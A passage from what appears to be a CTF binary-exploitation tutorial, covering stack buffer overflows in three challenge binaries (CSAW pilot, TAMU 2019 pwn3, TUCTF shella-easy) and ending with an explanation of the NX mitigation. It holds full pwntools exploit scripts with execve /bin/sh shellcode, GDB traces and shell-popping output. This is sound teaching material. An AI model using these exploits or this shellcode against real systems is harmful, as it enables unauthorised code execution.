[#1] 0x7ffff767cb97 → __libc_start_main(main=0x4009a6, argc=0x1,
argv=0x7fffffffdf88, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdf78)
[#2] 0x4008d9 → hlt
─────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000000000400ae5 in ?? ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffde80 - 0x7fffffffde88  →   "15935728[...]"
gef➤  i f
Stack level 0, frame at 0x7fffffffdeb0:
 rip = 0x400ae5; saved rip = 0x7ffff767cb97
 called by frame at 0x7fffffffdf70
 Arglist at 0x7fffffffde78, args:
 Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
  rbp at 0x7fffffffdea0, rip at 0x7fffffffdea8
```

So we can see that the offset between the start of our input and the return address is `0x7fffffffdea8 - 0x7fffffffde80 = 0x28` bytes. So we have a way to overwrite the return address, a place to store our shellcode, and we know where it is in memory. With this we can write our exploit:

```
from pwn import *

target = process('./pilot')

print target.recvuntil("[*]Location:")

leak = target.recvline()

inputAdr = int(leak.strip("\n"), 16)

payload = ""
# This shellcode is originally from: https://teamrocketist.github.io/2017/09
/18/Pwn-CSAW-Pilot/
# However it looks like that site is down now
# This shellcode will pop a shell when we run it
payload += "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7
\xe6\x04\x3b\x57\x54\x5f\x0f\x05"

# Padding to the return address
payload += "0"*(0x28 - len(payload))

# Overwrite the return address with the address of the start of our input
payload += p64(inputAdr)

# Send the payload, drop to an interactive shell to use the shell we pop
target.send(payload)

target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './pilot': pid 5764
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute
sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:
[*] Switching to interactive mode
[*]Command:$ w
 20:49:30 up  3:36,  1 user,  load average: 0.32, 0.11, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    3:36m  1:02   0.17s /sbin/upstart
--user
$ ls
exploit.py  pilot
```

Just like that, we popped a shell!

Tamu 2019 Pwn 3

Let's take a look at the binary:

```
$       file pwn3
pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 3.2.0,
BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
$       ./pwn3
Take this, you might need it on your journey 0xffa1c61e!
15935728
```

So we are dealing with a 32 bit binary. When we run it, it prints out what looks like a stack address and prompts us for input. When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Type propagation algorithm not settling */

undefined4 main(void)

{
  int iVar1;

  iVar1 = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(iVar1 + 0x19fd))->_flags,(char *)0x2,0,0);
  echo();
  return 0;
}
```

Looking through the main function, the most important thing here is that it calls the `echo` function. Let's take a look at that function in Ghidra:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void echo(void)

{
  char input [294];

  printf("Take this, you might need it on your journey %p!\n",input);
  gets(input);
  return;
}
```

So we can see that this function prints the address of the char buffer `input`, then calls `gets` with `input` as an argument. This is a bug since `gets` doesn't restrict how much data it scans in, we get an overflow. With this we can overwrite the return address and get code execution. The question is now what do we call? There aren't any functions that will either print the flag or give us a shell like in some of the previous challenges. We will instead be using shellcode.

Shellcode is essentially just precompiled code that we can inject into a binary's memory, and if we redirect code execution to it it will run. It will need to match the architecture, so we will need to have arm for x86 linux. Whenever I need just generic shellcode I typically grab it from http://shell-storm.org/shellcode/ (or you could just google for shellcode, or make it yourself which we will cover later). I'll be using the `Linux/x86 - execve /bin/sh shellcode - 23 bytes` shellcode by `Hamza Megahed` found at `http://shell-storm.org/shellcode/files/shellcode-827.php`. The shellcode I'm using will just pop a shell for us when we run it.

Now we can inject it into memory, however we need to deal with something called ASLR (Address Space Layout Randomization). This is a binary mitigation (a mechanism made to make pwning harder). What it does is it randomizes all of the addresses for various memory regions, so every time the binary runs we don't know where things are in memory. While the addresses are random, the offsets between things in the same memory region remain the same. So if we just leak a single address from a memory region that we know what it is, since the offsets are the same we can figure out the address of anything else in the memory region.

This also applies to where our shellocde is stored in memory, which we need to know in order to call it. Luckily for us, the address printed is the start of our input on the stack. So we can just take that address and overwrite the return address with it, to call our shellcode.

Let's use gdb to see how much space we have between the start of our input and the return address:

```
gef➤  disas echo
Dump of assembler code for function echo:
   0x0000059d <+0>:     push   ebp
   0x0000059e <+1>:     mov    ebp,esp
   0x000005a0 <+3>:     push   ebx
   0x000005a1 <+4>:     sub    esp,0x134
   0x000005a7 <+10>:    call   0x4a0 <__x86.get_pc_thunk.bx>
   0x000005ac <+15>:    add    ebx,0x1a20
   0x000005b2 <+21>:    sub    esp,0x8
   0x000005b5 <+24>:    lea    eax,[ebp-0x12a]
   0x000005bb <+30>:    push   eax
   0x000005bc <+31>:    lea    eax,[ebx-0x191c]
   0x000005c2 <+37>:    push   eax
   0x000005c3 <+38>:    call   0x410 <printf@plt>
   0x000005c8 <+43>:    add    esp,0x10
   0x000005cb <+46>:    sub    esp,0xc
   0x000005ce <+49>:    lea    eax,[ebp-0x12a]
   0x000005d4 <+55>:    push   eax
   0x000005d5 <+56>:    call   0x420 <gets@plt>
   0x000005da <+61>:    add    esp,0x10
   0x000005dd <+64>:    nop
   0x000005de <+65>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x000005e1 <+68>:    leave
   0x000005e2 <+69>:    ret
End of assembler dump.
gef➤  b *echo+61
Breakpoint 1 at 0x5da
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/tamu19_pwn3/pwn3
Take this, you might need it on your journey 0xffffcf3e!
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf3e  →  "15935728"
$ebx   : 0x56556fcc  →  <_GLOBAL_OFFSET_TABLE_+0> aam 0x1e
$ecx   : 0xf7faf5c0  →  0xfbad2288
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffcf20  →  0xffffcf3e  →  "15935728"
$ebp   : 0xffffd068  →  0xffffd078  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0
$eip   : 0x565555da  →  <echo+61> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xffffcf3e  →  "15935728"    ← $esp
0xffffcf24│+0x0004: 0xffffcf3e  →  "15935728"
0xffffcf28│+0x0008: 0xffffcf4c  →  0x00000000
0xffffcf2c│+0x000c: 0x565555ac  →  <echo+15> add ebx, 0x1a20
0xffffcf30│+0x0010: 0x00000000
0xffffcf34│+0x0014: 0x00000000
```

```
0xffffcf38│+0x0018: 0x00000000
0xffffcf3c│+0x001c: 0x35310000
──────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565555ce <echo+49>        lea    eax, [ebp-0x12a]
   0x565555d4 <echo+55>        push   eax
   0x565555d5 <echo+56>        call   0x56555420 <gets@plt>
 → 0x565555da <echo+61>        add    esp, 0x10
   0x565555dd <echo+64>        nop
   0x565555de <echo+65>        mov    ebx, DWORD PTR [ebp-0x4]
   0x565555e1 <echo+68>        leave
   0x565555e2 <echo+69>        ret
   0x565555e3 <main+0>         lea    ecx, [esp+0x4]
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn3", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565555da → echo()
[#1] 0x5655561a → main()
─────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x565555da in echo ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rwx
  0x56558160 - 0x56558168  →   "15935728"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffcf3e - 0xffffcf46  →   "15935728"
gef➤  info frame
Stack level 0, frame at 0xffffd070:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd090
 Arglist at 0xffffd068, args:
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c
```

Just a bit of math:

```
>>> hex(0xffffd06c - 0xffffcf3e)
'0x12e'
```

So the space between the start of our input and the return address is `0x12e` bytes. This makes sense since the char array which holds our input is `294` bytes large, and there are two saved register values (ebx and ebp) on the stack in between our input and the saved return address each `4` bytes a piece (`294 + 4 + 4 = 0x12e`). With all of this, we have all we need to write the exploit:

```
from pwn import *

target = process('./pwn3')

# Print out the text, up to the address of the start of our input
print target.recvuntil("journey ")

# Scan in the rest of the line
leak = target.recvline()

# Strip away the characters not part of our address
shellcodeAdr = int(leak.strip("!\n"), 16)

# Make the payload
payload = ""
# Our shellcode from: http://shell-storm.org/shellcode/files/shellcode-827.php
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80"
# Pad the rest of the space to the return address with zeroes
payload += "0"*(0x12e - len(payload))
# Overwrite the return address with te leaked address which points to the start
of our shellcode
payload += p32(shellcodeAdr)

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use our newly popped shell
target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './pwn3': pid 5149
Take this, you might need it on your journey
[*] Switching to interactive mode
$ w
 19:33:06 up  2:19,  1 user,  load average: 0.01, 0.05, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    2:19m 40.15s  0.16s /sbin/upstart
--user
$ ls
exploit.py  pwn3
```

Just like that, we popped a shell!

Tuctf 2018 shella-easy

Let's take a look at the binary:

```
$       file shella-easy
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
$       ./shella-easy
Yeah I'll have a 0xffd01f50 with a side of fries thanks
15935728
```

So we can see that we are dealing with a 32 bit binary. When we run it, it prints out what looks like a stack address and prompts us for input. When we take a look at the main function, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x08048551) */

void main(void)

{
  char input [64];

  setvbuf(stdout,(char *)0x0,2,0x14);
  setvbuf(stdin,(char *)0x0,2,0x14);
  printf("Yeah I\'ll have a %p with a side of fries thanks\n",input);
  gets(input);
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So this is pretty similar to the other challenges in this module. There is a char array `input` which can hold 64 bytes, which it prints it's address. After that it runs the function `gets` with `input` as an argument, allowing us to do a buffer overflow attack and get the return address. With that we can get code execution. Our plan is to just push shellcode onto the stack, and we know where it is thanks to the infoleak. Then we will overwrite the return address to point to the start of our shellcode. We will use shellcode that pops a shell for us when we run it. The shellcode I will use is from `http://shell-storm.org/shellcode/files/shellcode-827.php`.

Also there is a slight problem with our plan. That is according to the decompiled code, the function `exit` is called. When this function is called, the `ret` instruction will not run in the context of this function, so we won't get our code execution. However the decompiled code isn't entirely correct. Looking at the assembly code gives us the full picture:

```
        08048539 e8 52 fe         CALL       gets
char * gets(char * __s)
                 ff ff
        0804853e 83 c4 04         ADD        ESP,0x4
        08048541 81 7d f8         CMP        dword ptr [EBP + local_c],0xdeadbeef
                 ef be ad de
        08048548 74 07            JZ         LAB_08048551
        0804854a 6a 00            PUSH       0x0
        0804854c e8 4f fe         CALL       exit
void exit(int __status)
                 ff ff
                              -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
                              LAB_08048551
XREF[1]:     08048548(j)
        08048551 b8 00 00         MOV        EAX,0x0
                 00 00
        08048556 8b 5d fc         MOV        EBX,dword ptr [EBP + local_8]
        08048559 c9               LEAVE
        0804855a c3               RET
```

So we can see that there is a check to see if `local_c` is equal to `0xdeadbeef`, and if it is the function does not call `exit(0)` and we get our code execution. When we look at the stack layout in Ghidra, we see that this variable is within our means to overwrite (and it is at an offset of `0x40`). So we just need to overwrite it with `0xdeadbeef` and we will be good to go:

```
**************************************************************
                              *                          FUNCTION
*

**************************************************************
                              undefined main()
             undefined         AL:1           <RETURN>
             undefined4        Stack[-0x8]:4  local_8
XREF[1]:     08048556(R)
             undefined4        Stack[-0xc]:4  local_c
XREF[2]:     0804851b(W),

08048541(R)
             char[64]          Stack[-0x4c]   input
XREF[2]:     08048522(*),

08048535(*)
```

Next let's find the offset between the start of our input and the return address in gdb:

```
gef➤  disas main
Dump of assembler code for function main:
   0x080484db <+0>:     push   ebp
   0x080484dc <+1>:     mov    ebp,esp
   0x080484de <+3>:     push   ebx
   0x080484df <+4>:     sub    esp,0x44
   0x080484e2 <+7>:     call   0x8048410 <__x86.get_pc_thunk.bx>
   0x080484e7 <+12>:    add    ebx,0x1b19
   0x080484ed <+18>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080484f3 <+24>:    mov    eax,DWORD PTR [eax]
   0x080484f5 <+26>:    push   0x14
   0x080484f7 <+28>:    push   0x2
   0x080484f9 <+30>:    push   0x0
   0x080484fb <+32>:    push   eax
   0x080484fc <+33>:    call   0x80483c0 <setvbuf@plt>
   0x08048501 <+38>:    add    esp,0x10
   0x08048504 <+41>:    mov    eax,DWORD PTR [ebx-0x8]
   0x0804850a <+47>:    mov    eax,DWORD PTR [eax]
   0x0804850c <+49>:    push   0x14
   0x0804850e <+51>:    push   0x2
   0x08048510 <+53>:    push   0x0
   0x08048512 <+55>:    push   eax
   0x08048513 <+56>:    call   0x80483c0 <setvbuf@plt>
   0x08048518 <+61>:    add    esp,0x10
   0x0804851b <+64>:    mov    DWORD PTR [ebp-0x8],0xcafebabe
   0x08048522 <+71>:    lea    eax,[ebp-0x48]
   0x08048525 <+74>:    push   eax
   0x08048526 <+75>:    lea    eax,[ebx-0x1a20]
   0x0804852c <+81>:    push   eax
   0x0804852d <+82>:    call   0x8048380 <printf@plt>
   0x08048532 <+87>:    add    esp,0x8
   0x08048535 <+90>:    lea    eax,[ebp-0x48]
   0x08048538 <+93>:    push   eax
   0x08048539 <+94>:    call   0x8048390 <gets@plt>
   0x0804853e <+99>:    add    esp,0x4
   0x08048541 <+102>:   cmp    DWORD PTR [ebp-0x8],0xdeadbeef
   0x08048548 <+109>:   je     0x8048551 <main+118>
   0x0804854a <+111>:   push   0x0
   0x0804854c <+113>:   call   0x80483a0 <exit@plt>
   0x08048551 <+118>:   mov    eax,0x0
   0x08048556 <+123>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048559 <+126>:   leave
   0x0804855a <+127>:   ret
End of assembler dump.
gef➤  b *main+99
Breakpoint 1 at 0x804853e
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/tu18_shellaeasy/shella-easy
Yeah I'll have a 0xffffd020 with a side of fries thanks
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xffffd020  →  "15935728"
$ebx   : 0x0804a000  →  0x08049f0c  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7faf5c0  →  0xfbad208b
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffd01c  →  0xffffd020  →  "15935728"
$ebp   : 0xffffd068  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0
$eip   : 0x0804853e  →  <main+99> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────
stack ────
0xffffd01c│+0x0000: 0xffffd020  →  "15935728"    ← $esp
0xffffd020│+0x0004: "15935728"
0xffffd024│+0x0008: "5728"
0xffffd028│+0x000c: 0x00000000
0xffffd02c│+0x0010: 0xf7e0760b  →   add esp, 0x10
0xffffd030│+0x0014: 0xf7faf3fc  →  0xf7fb0200  →  0x00000000
0xffffd034│+0x0018: 0x00000000
0xffffd038│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8048535 <main+90>        lea    eax, [ebp-0x48]
    0x8048538 <main+93>        push   eax
    0x8048539 <main+94>        call   0x8048390 <gets@plt>
 →  0x804853e <main+99>        add    esp, 0x4
    0x8048541 <main+102>       cmp    DWORD PTR [ebp-0x8], 0xdeadbeef
    0x8048548 <main+109>       je     0x8048551 <main+118>
    0x804854a <main+111>       push   0x0
    0x804854c <main+113>       call   0x80483a0 <exit@plt>
    0x8048551 <main+118>       mov    eax, 0x0
────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x804853e → main()
────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0804853e in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd020 - 0xffffd028  →   "15935728"
gef➤  i f
Stack level 0, frame at 0xffffd070:
 eip = 0x804853e in main; saved eip = 0xf7defe81
 Arglist at 0xffffd068, args:
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
```

```
ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c
```

So we can see that the offset is `0xffffd06c - 0xffffd020 = 0x4c`. With that we have everything we need to make the exploit:

```
from pwn import *

target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b *0x804853e')

# Scan in the first line of text, parse out the infoleak
leak = target.recvline()
leak = leak.strip("Yeah I'll have a ")
leak = leak.strip(" with a side of fries thanks\n")
shellcodeAdr = int(leak, 16)

# Make the payload
payload = ""
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php`
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "0"*(0x40 - len(payload)) # Padding to the local_c variable
payload += p32(0xdeadbeef) # Overwrite the local_c variable with 0xdeadbeef
payload += "1"*8 # Padding to the return address
payload += p32(shellcodeAdr) # Overwrite the return address to point to the start of our shellcode

# Send the payload
target.sendline(payload)
target.interactive()
```

When we run the exploit:

```
$       python exploit.py
[+] Starting local process './shella-easy': pid 6434
[*] Switching to interactive mode
$ w
 21:46:23 up  4:33,  1 user,  load average: 0.03, 0.08, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    4:33m  1:21   0.18s /sbin/upstart --user
$ ls
exploit.py  readme.md  shella-easy
$
```

Just like that we popped a shell. Also one more thing I want to show, the shellcode we push on the stack can be disassembled to assembly instructions. Let's break right at the `ret` instruction which executes our shellcode (I did this by editing the breakpoint in the exploit to

`0x0804855a` , then running it):

```
Breakpoint 1, 0x0804855a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ───
$eax   : 0x0
$ebx   : 0x31313131 ("1111"?)
$ecx   : 0xf7f475a0  →  0xfbad208b
$edx   : 0xf7f4887c  →  0x00000000
$esp   : 0xfff4cb1c  →  0xfff4cad0  →  0x6850c031
$ebp   : 0x31313131 ("1111"?)
$esi   : 0xf7f47000  →  0x001b1db0
$edi   : 0xf7f47000  →  0x001b1db0
$eip   : 0x0804855a  →  <main+127> ret
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack ───
0xfff4cb1c│+0x0000: 0xfff4cad0  →  0x6850c031    ← $esp
0xfff4cb20│+0x0004: 0x00000000
0xfff4cb24│+0x0008: 0xfff4cbb4  →  0xfff4e297  →  "./shella-easy"
0xfff4cb28│+0x000c: 0xfff4cbbc  →  0xfff4e2a5  →  "QT_QPA_PLATFORMTHEME=appmenu-
qt5"
0xfff4cb2c│+0x0010: 0x00000000
0xfff4cb30│+0x0014: 0x00000000
0xfff4cb34│+0x0018: 0x00000000
0xfff4cb38│+0x001c: 0xf7f47000  →  0x001b1db0
────────────────────────────────────────────────────────────── code:x86:32 ───
    0x8048551 <main+118>       mov    eax, 0x0
    0x8048556 <main+123>       mov    ebx, DWORD PTR [ebp-0x4]
    0x8048559 <main+126>       leave
 →  0x804855a <main+127>       ret
   ↳  0xfff4cad0                  xor    eax, eax
      0xfff4cad2                  push   eax
      0xfff4cad3                  push   0x68732f2f
      0xfff4cad8                  push   0x6e69622f
      0xfff4cadd                  mov    ebx, esp
      0xfff4cadf                  push   eax
────────────────────────────────────────────────────────────────── threads ───
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ───
[#0] 0x804855a → main()
──────────────────────────────────────────────────────────────────────────────
gef➤  s
0xfff4cad0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────
registers ───
$eax   : 0x0
$ebx   : 0x31313131 ("1111"?)
$ecx   : 0xf7f475a0  →  0xfbad208b
$edx   : 0xf7f4887c  →  0x00000000
$esp   : 0xfff4cb20  →  0x00000000
$ebp   : 0x31313131 ("1111"?)
```

```
$esi   : 0xf7f47000  →  0x001b1db0
$edi   : 0xf7f47000  →  0x001b1db0
$eip   : 0xfff4cad0  →  0x6850c031
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────
stack ────
0xfff4cb20│+0x0000: 0x00000000   ← $esp
0xfff4cb24│+0x0004: 0xfff4cbb4  →  0xfff4e297  →  "./shella-easy"
0xfff4cb28│+0x0008: 0xfff4cbbc  →  0xfff4e2a5  →  "QT_QPA_PLATFORMTHEME=appmenu-
qt5"
0xfff4cb2c│+0x000c: 0x00000000
0xfff4cb30│+0x0010: 0x00000000
0xfff4cb34│+0x0014: 0x00000000
0xfff4cb38│+0x0018: 0xf7f47000  →  0x001b1db0
0xfff4cb3c│+0x001c: 0xf7f8ec04  →  0x00000000
────────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
 → 0xfff4cad0                  xor    eax, eax
   0xfff4cad2                  push   eax
   0xfff4cad3                  push   0x68732f2f
   0xfff4cad8                  push   0x6e69622f
   0xfff4cadd                  mov    ebx, esp
   0xfff4cadf                  push   eax
────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0xfff4cad0 → xor eax, eax
────────────────────────────────────────────────────────────────────────────────
gef➤  x/10i 0xfff4cad0
=> 0xfff4cad0:  xor    eax,eax
   0xfff4cad2:  push   eax
   0xfff4cad3:  push   0x68732f2f
   0xfff4cad8:  push   0x6e69622f
   0xfff4cadd:  mov    ebx,esp
   0xfff4cadf:  push   eax
   0xfff4cae0:  push   ebx
   0xfff4cae1:  mov    ecx,esp
   0xfff4cae3:  mov    al,0xb
   0xfff4cae5:  int    0x80
```

There we can see our shellcode.

nx

Nx is short-hand for Non-Executable stack. What this means is that the stack region of memory is not executable. So if there is perfectly valid code there, you can't execute it due to it's permissions.

For more on this, let's take a look at the memory mappings for a binary that was compiled without this mitigation:

Here it is with `NX` enabled:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/tryc
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/tryc
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/tryc
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/tryc
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/tryc
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Here is is with `NX` disabled:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000403000 0x0000000000000000 r-x /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-x /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rwx /tmp/try
0x00007ffff7dcb000 0x00007ffff7fac000 0x0000000000000000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rwx /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rwx
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7ffc000 0x0000000000000000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rwx /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

So we can see that for when `NX` is enabled, the stack has the memory permissions `rw`. When `NX` hasn't been enabled, the stack has the memory permissions `rwx`. So when `NX` is enabled we can read and write to it, however when `NX` isn't enabled we can read / write / and execute code. Let's see what happens when we try to jump to somewhere in the stack (essentially executing data in the stack as code) while `NX` is enabled:

```
gef➤  j *0x00007ffffffde000
Continuing at 0x7ffffffde000.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffffffde000 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────
registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7fafa00  →  0x00000000fbad2288
$rcx   : 0x00007ffff7ed7f81  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x400
$rsp   : 0x00007fffffffdee8  →  0x00007ffff7e5ae50  →  <_IO_file_underflow+336>
test rax, rax
$rbp   : 0xd68
$rsi   : 0x0000555555559260  →  0x0000000000000000
$rdi   : 0x0
$rip   : 0x00007ffffffde000  →  0x0000000000000000
$r8    : 0x00007ffff7fb2580  →  0x0000000000000000
$r9    : 0x00007ffff7fb7500  →  0x00007ffff7fb7500  →  [loop detected]
$r10   : 0x00007ffff7fafca0  →  0x0000555555559660  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x00007ffff7fb0960  →  0x0000000000000000
$r13   : 0x00007ffff7fb1560  →  0x0000000000000000
$r14   : 0x00007ffff7fb0848  →  0x00007ffff7fb0760  →  0x00000000fbad2084
$r15   : 0x00007ffff7fafa00  →  0x00000000fbad2288
